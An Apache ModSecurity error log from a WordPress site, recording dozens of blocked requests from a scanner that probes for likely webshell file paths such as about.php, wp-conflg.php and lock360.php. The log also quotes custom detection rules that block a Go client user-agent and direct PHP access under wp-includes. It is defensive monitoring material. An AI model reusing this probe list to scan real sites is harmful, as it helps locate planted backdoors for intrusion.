[Sun May 24 18:41:21.534099 2026] [:error] [pid 4777:tid 4800] [client 203.25.124.35:33299] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "ahLV0ftPctoQOm4w5pN4qAAAAdI"]
[Sun May 24 18:41:23.032293 2026] [:error] [pid 49775:tid 49780] [client 212.32.76.6:20573] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/options.php"] [unique_id "ahLV04vZb8G6T8WpI1icfwAAAAM"]
[Sun May 24 18:41:24.121710 2026] [:error] [pid 49689:tid 49739] [client 203.25.124.35:33507] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/panel.php"] [unique_id "ahLV1AaxiY3NxLUD97V2tgAAAJU"]
[Sun May 24 18:41:25.232753 2026] [:error] [pid 49689:tid 49735] [client 212.32.76.6:52275] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "ahLV1QaxiY3NxLUD97V2twAAAJE"]
[Sun May 24 18:41:26.730685 2026] [:error] [pid 23497:tid 23510] [client 203.25.124.74:31439] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahLV1iPlV47QcYwd2v_6eAAAAUo"]
[Sun May 24 18:41:28.032004 2026] [:error] [pid 23497:tid 23521] [client 212.32.76.13:47237] [client 212.32.76.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "ahLV2CPlV47QcYwd2v_6ewAAAVU"]
[Sun May 24 18:41:29.030498 2026] [:error] [pid 23497:tid 23524] [client 203.25.124.64:47883] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/upload.php"] [unique_id "ahLV2SPlV47QcYwd2v_6fQAAAVg"]
[Sun May 24 18:41:35.044416 2026] [:error] [pid 23497:tid 23505] [client 203.25.124.55:55029] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/class.php"] [unique_id "ahLV3yPlV47QcYwd2v_6kAAAAUU"]
[Sun May 24 18:41:41.322502 2026] [:error] [pid 41708:tid 41712] [client 212.32.76.2:28251] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentythree/patterns/"] [unique_id "ahLV5f4tQzoTxpuHBF7MiQAAAYI"]
[Sun May 24 18:41:43.024462 2026] [:error] [pid 49775:tid 49798] [client 203.25.124.211:56197] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/themes.php"] [unique_id "ahLV54vZb8G6T8WpI1ichQAAABU"]
[Sun May 24 18:41:44.425455 2026] [:error] [pid 23497:tid 23500] [client 203.25.124.51:41975] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "ahLV6CPlV47QcYwd2v_6sgAAAUA"]
[Sun May 24 18:41:45.738360 2026] [:error] [pid 49689:tid 49735] [client 203.25.124.55:58133] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/edit-wolf.php"] [unique_id "ahLV6QaxiY3NxLUD97V2wAAAAJE"]
[Sun May 24 18:41:47.130902 2026] [:error] [pid 49775:tid 49801] [client 203.25.124.215:26551] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/"] [unique_id "ahLV64vZb8G6T8WpI1ichwAAABg"]
[Sun May 24 18:41:48.131663 2026] [:error] [pid 41708:tid 41732] [client 203.25.124.66:43783] [client 203.25.124.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "ahLV7P4tQzoTxpuHBF7MugAAAZY"]
[Sun May 24 18:41:50.334760 2026] [:error] [pid 4777:tid 4796] [client 203.25.124.213:46075] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/cache/"] [unique_id "ahLV7vtPctoQOm4w5pN4wQAAAc4"]
[Sun May 24 18:41:52.326597 2026] [:error] [pid 23497:tid 23508] [client 212.32.76.9:21767] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/config.php"] [unique_id "ahLV8CPlV47QcYwd2v_6uwAAAUg"]
[Sun May 24 18:41:53.332611 2026] [:error] [pid 49775:tid 49795] [client 203.25.124.215:43137] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ahLV8YvZb8G6T8WpI1icjQAAABI"]
[Sun May 24 18:41:54.518500 2026] [:error] [pid 49775:tid 49784] [client 212.32.76.14:27231] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/root.php"] [unique_id "ahLV8ovZb8G6T8WpI1icjgAAAAc"]
[Sun May 24 18:41:56.630428 2026] [:error] [pid 49688:tid 49692] [client 203.25.124.69:56039] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "ahLV9GYoQ9V6a_4pBsiwxgAAAEE"]
[Sun May 24 18:41:58.724082 2026] [:error] [pid 2639:tid 2643] [client 203.25.124.31:63193] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "ahLV9kzQncQTd0Z0Oe9vZQAAAQI"]
[Sun May 24 18:41:59.825666 2026] [:error] [pid 49775:tid 49793] [client 203.25.124.55:35663] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "ahLV94vZb8G6T8WpI1icmAAAABA"]
[Sun May 24 18:42:01.226903 2026] [:error] [pid 2639:tid 2650] [client 203.25.124.55:53303] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/"] [unique_id "ahLV-UzQncQTd0Z0Oe9vcQAAAQk"]
[Sun May 24 18:42:03.933637 2026] [:error] [pid 23497:tid 23515] [client 203.25.124.54:36989] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wa/"] [unique_id "ahLV-yPlV47QcYwd2v_69gAAAU8"]
[Sun May 24 18:42:15.648714 2026] [:error] [pid 2639:tid 2649] [client 212.32.76.9:27563] [client 212.32.76.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "ahLWB0zQncQTd0Z0Oe9vjQAAAQg"]
[Sun May 24 18:42:16.134101 2026] [:error] [pid 4777:tid 4794] [client 203.25.124.72:41443] [client 203.25.124.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/wp-conflg.php"] [unique_id "ahLWCPtPctoQOm4w5pN46gAAAcw"]
[Sun May 24 18:42:22.637375 2026] [:error] [pid 49775:tid 49798] [client 212.32.76.14:41383] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/"] [unique_id "ahLWDovZb8G6T8WpI1icqwAAABU"]
[Sun May 24 18:42:28.733905 2026] [:error] [pid 49775:tid 49787] [client 203.25.124.51:63423] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-content/"] [unique_id "ahLWFIvZb8G6T8WpI1ictgAAAAo"]
[Sun May 24 18:42:29.830942 2026] [:error] [pid 2639:tid 2661] [client 203.25.124.32:25517] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "ahLWFUzQncQTd0Z0Oe9vngAAARQ"]
[Sun May 24 18:42:35.435195 2026] [:error] [pid 41708:tid 41727] [client 203.25.124.64:29593] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/worksec.php"] [unique_id "ahLWG_4tQzoTxpuHBF7M0QAAAZE"]
[Sun May 24 18:42:38.329597 2026] [:error] [pid 23497:tid 23516] [client 203.25.124.51:64951] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/development/"] [unique_id "ahLWHiPlV47QcYwd2v_7JwAAAVA"]
[Sun May 24 18:42:54.429509 2026] [:error] [pid 49744:tid 49752] [client 203.25.124.55:20329] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/comment-date/"] [unique_id "ahLWLjsE5kPdFpUbbHHR8AAAAMY"]
[Sun May 24 18:42:55.429766 2026] [:error] [pid 41708:tid 41716] [client 203.25.124.65:62767] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/lock360.php"] [unique_id "ahLWL_4tQzoTxpuHBF7M4gAAAYY"]
[Sun May 24 18:42:56.335798 2026] [:error] [pid 49744:tid 49753] [client 203.25.124.212:63663] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "ahLWMDsE5kPdFpUbbHHR8gAAAMc"]
[Sun May 24 18:43:01.825711 2026] [:error] [pid 49744:tid 49748] [client 212.32.76.6:43931] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/chosen.php"] [unique_id "ahLWNTsE5kPdFpUbbHHR9wAAAMI"]
[Sun May 24 18:43:13.635078 2026] [:error] [pid 2639:tid 2652] [client 203.25.124.73:63091] [client 203.25.124.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "ahLWQUzQncQTd0Z0Oe9vzAAAAQs"]
[Sun May 24 18:43:14.934677 2026] [:error] [pid 23497:tid 23514] [client 203.25.124.54:35793] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/"] [unique_id "ahLWQiPlV47QcYwd2v_7QwAAAU4"]
[Sun May 24 18:43:16.130331 2026] [:error] [pid 49775:tid 49791] [client 212.32.76.11:22701] [client 212.32.76.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "ahLWRIvZb8G6T8WpI1iczwAAAA4"]
[Sun May 24 18:43:16.529476 2026] [:error] [pid 23497:tid 23520] [client 203.25.124.64:25575] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/admin.php"] [unique_id "ahLWRCPlV47QcYwd2v_7SQAAAVQ"]
[Sun May 24 18:43:17.734009 2026] [:error] [pid 2639:tid 2642] [client 203.25.124.35:20681] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/"] [unique_id "ahLWRUzQncQTd0Z0Oe9v0gAAAQE"]
[Sun May 24 18:43:19.031331 2026] [:error] [pid 23497:tid 23524] [client 203.25.124.215:55697] [client 203.25.124.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "ahLWRyPlV47QcYwd2v_7TgAAAVg"]
[Sun May 24 18:43:19.427973 2026] [:error] [pid 2639:tid 2651] [client 203.25.124.54:42331] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "ahLWR0zQncQTd0Z0Oe9v1QAAAQo"]
[Sun May 24 18:43:20.927701 2026] [:error] [pid 41708:tid 41711] [client 203.25.124.2:25627] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/"] [unique_id "ahLWSP4tQzoTxpuHBF7NHQAAAYE"]
[Sun May 24 18:43:22.028760 2026] [:error] [pid 41708:tid 41721] [client 203.25.124.31:60213] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/footnotes/"] [unique_id "ahLWSv4tQzoTxpuHBF7NIQAAAYs"]
[Sun May 24 18:43:24.522614 2026] [:error] [pid 41708:tid 41720] [client 203.25.124.57:51559] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "ahLWTP4tQzoTxpuHBF7NIwAAAYo"]
[Sun May 24 18:43:26.532007 2026] [:error] [pid 49775:tid 49793] [client 212.32.76.14:41805] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "ahLWTovZb8G6T8WpI1ic0gAAABA"]
[Sun May 24 18:43:27.646011 2026] [:error] [pid 41708:tid 41711] [client 212.32.76.7:29071] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "ahLWT_4tQzoTxpuHBF7NLQAAAYE"]
[Sun May 24 18:43:28.629391 2026] [:error] [pid 41708:tid 41716] [client 203.25.124.213:31473] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/"] [unique_id "ahLWUP4tQzoTxpuHBF7NLwAAAYY"]
[Sun May 24 18:43:29.534806 2026] [:error] [pid 41708:tid 41733] [client 203.25.124.32:31347] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/includes/"] [unique_id "ahLWUf4tQzoTxpuHBF7NMwAAAZc"]
[Sun May 24 18:43:35.934544 2026] [:error] [pid 4777:tid 4792] [client 203.25.124.48:57039] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "ahLWV_tPctoQOm4w5pN5FAAAAco"]
[Sun May 24 18:43:37.024462 2026] [:error] [pid 41708:tid 41734] [client 203.25.124.37:45949] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "ahLWWf4tQzoTxpuHBF7NPgAAAZg"]
[Sun May 24 18:43:38.129839 2026] [:error] [pid 49688:tid 49703] [client 212.32.76.6:30419] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "ahLWWmYoQ9V6a_4pBsixAAAAAEw"]
[Sun May 24 18:43:39.428512 2026] [:error] [pid 49688:tid 49710] [client 203.25.124.55:28623] [client 203.25.124.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/module.php"] [unique_id "ahLWW2YoQ9V6a_4pBsixAwAAAFM"]
[Sun May 24 18:43:40.725799 2026] [:error] [pid 41708:tid 41722] [client 203.25.124.64:27077] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "ahLWXP4tQzoTxpuHBF7NRgAAAYw"]
[Sun May 24 18:43:41.727184 2026] [:error] [pid 4777:tid 4796] [client 203.25.124.2:60479] [client 203.25.124.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "ahLWXftPctoQOm4w5pN5HQAAAc4"]
[Sun May 24 18:43:42.827640 2026] [:error] [pid 49775:tid 49787] [client 203.25.124.74:41023] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/missing/"] [unique_id "ahLWXovZb8G6T8WpI1ic1gAAAAo"]
